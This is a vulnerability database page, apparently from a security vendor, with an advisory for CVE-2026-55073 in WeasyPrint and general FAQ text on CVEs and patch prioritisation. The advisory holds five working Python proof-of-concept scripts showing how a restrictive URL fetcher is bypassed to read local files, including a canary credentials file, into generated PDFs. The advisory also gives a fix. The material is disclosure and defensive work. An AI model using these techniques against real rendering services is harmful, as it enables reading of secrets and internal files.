How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

383,304

Total vulnerabilities in the database

CVE-2026-55073 — weasyprint

Server-Side Request Forgery (SSRF)

Summary

url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.

Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:

xmp_metadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.
stylesheets=[url_or_path] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.

Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.

Affected versions

All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.

Root cause

select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):

def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
    ...
    if url_fetcher is None:
        url_fetcher = URLFetcher()

Five of the seven resource-loading sites thread the document's fetcher correctly:

<link rel=stylesheet> in weasyprint/css/__init__.py
<style> in weasyprint/css/__init__.py
@import in weasyprint/css/__init__.py
@font-face / local() in weasyprint/text/fonts.py
@color-profile src in weasyprint/css/__init__.py
images (<img>, CSS url(), SVG) in weasyprint/images.py

Two do not — they build a fresh default fetcher instead:

write_pdf(xmp_metadata=[...]) in weasyprint/pdf/__init__.py
write_pdf(stylesheets=[str]) in weasyprint/document.py

xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:

if options[&#039;xmp_metadata&#039;]:
    for url in options[&#039;xmp_metadata&#039;]:
        result = select_source(url)          # no url_fetcher

stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():

for css in options[&#039;stylesheets&#039;] or []:
    if not hasattr(css, &#039;matcher&#039;):
        css = CSS(                            # no url_fetcher=html.url_fetcher
            guess=css, media_type=html.media_type,
            font_config=font_config, counter_style=counter_style,
            color_profiles=color_profiles)

Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - `xmp_metadata=` reads a `file://` the fetcher blocks

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith(&#039;file:&#039;):
            raise ValueError(&#039;blocked &#039; + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, &#039;secret.xmp&#039;)
open(path, &#039;wb&#039;).write(b&#039;CANARY_XMP_LEAK_7f3a9c&#039;)
pdf = HTML(string=&#039;&lt;p&gt;hi&lt;/p&gt;&#039;, url_fetcher=Block()).write_pdf(
    xmp_metadata=[&#039;file://&#039; + path], pdf_variant=&#039;pdf/a-3b&#039;, uncompressed_pdf=True)
print(&#039;secret file leaked into PDF:&#039;, b&#039;CANARY_XMP_LEAK_7f3a9c&#039; in pdf)
# -&gt; True

(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - `stylesheets=` applies a blocked `file://` sheet (with control)

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith(&#039;file:&#039;):
            raise ValueError(&#039;blocked &#039; + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, &#039;evil.css&#039;)
open(path, &#039;w&#039;).write(&#039;@page { size: 1234px 5678px }&#039;)

doc = HTML(string=&#039;&lt;p&gt;x&lt;/p&gt;&#039;, url_fetcher=Block()).render(stylesheets=[&#039;file://&#039; + path])
p = doc.pages[0]
print(&#039;evil.css applied via stylesheets=:&#039;, (round(p.width), round(p.height)) == (1234, 5678))
# -&gt; True

# Control: the same sheet via &lt;link rel=stylesheet&gt; is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string=&#039;&lt;link rel=&quot;stylesheet&quot; href=&quot;file://%s&quot;&gt;&lt;p&gt;x&lt;/p&gt;&#039; % path,
            url_fetcher=Block()).render()
cp = ctrl.pages[0]
print(&#039;control &lt;link&gt; correctly blocked:&#039;, (round(cp.width), round(cp.height)) != (1234, 5678))
# -&gt; True

3 - the `stylesheets=` bypass is transitive

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith(&#039;file:&#039;):
            raise ValueError(&#039;blocked &#039; + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
inner = os.path.join(d, &#039;inner.css&#039;)
outer = os.path.join(d, &#039;outer.css&#039;)
open(inner, &#039;w&#039;).write(&#039;@page { size: 333px 777px }&#039;)
open(outer, &#039;w&#039;).write(&#039;@import url(&quot;file://%s&quot;);&#039; % inner)
doc = HTML(string=&#039;&lt;p&gt;x&lt;/p&gt;&#039;, url_fetcher=Block()).render(stylesheets=[&#039;file://&#039; + outer])
p = doc.pages[0]
print(&#039;nested @import applied transitively:&#039;, (round(p.width), round(p.height)) == (333, 777))
# -&gt; True

4 - `xmp_metadata=` discloses a credentials file in full

import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith(&#039;file:&#039;):
            raise ValueError(&#039;blocked &#039; + url)
        return super().fetch(url, headers)

creds = {&#039;db_name&#039;: &#039;CANARY_DB_NAME&#039;, &#039;db_password&#039;: &#039;CANARY_PASSWORD_a3f7e9c2&#039;,
         &#039;encryption_key&#039;: &#039;CANARY_ENC_KEY_b8d4f6a1&#039;, &#039;secret_key&#039;: &#039;CANARY_SECRET_KEY_c5e9d2b7&#039;}
d = tempfile.mkdtemp()
path = os.path.join(d, &#039;site_config.json&#039;)
json.dump(creds, open(path, &#039;w&#039;))
pdf = HTML(string=&#039;&lt;p&gt;x&lt;/p&gt;&#039;, url_fetcher=Block()).write_pdf(
    xmp_metadata=[&#039;file://&#039; + path], pdf_variant=&#039;pdf/a-3b&#039;, uncompressed_pdf=True)
print(&#039;all credential fields leaked into PDF:&#039;, all(v.encode() in pdf for v in creds.values()))
# -&gt; True

An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the `stylesheets=` channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith(&#039;file:&#039;):
            raise ValueError(&#039;blocked &#039; + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, &#039;secrets.css&#039;)
open(path, &#039;w&#039;).write(&#039;/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }&#039;)
html = HTML(string=&#039;&lt;p&gt;x&lt;/p&gt;&#039;, url_fetcher=Block())
doc = html.render(stylesheets=[&#039;file://&#039; + path])
pdf = html.write_pdf(stylesheets=[&#039;file://&#039; + path], uncompressed_pdf=True)
p = doc.pages[0]
print(&#039;sheet applied (bypass):&#039;, (round(p.width), round(p.height)) == (999, 888))   # -&gt; True
print(&#039;comment leaked verbatim:&#039;, b&#039;CANARY_SECRET_e2a8c5d4&#039; in pdf)                  # -&gt; False

Suggested fix

Route both call sites through the document's url_fetcher, matching the five sites that already do this.

pdf/__init__.py - select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrict xmp_metadata to byte strings so no URL fetching occurs.)
document.py - CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.

Published: Sep 9, 2026
Updated: Sep 10, 2026
CVE: CVE-2026-55073
GHSA: GHSA-jf6q-chmf-3h3v
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 6.2
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWEs:

CWE-918

Affected Software
References

Software	Affected versions
weasyprint	`< 70.0`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.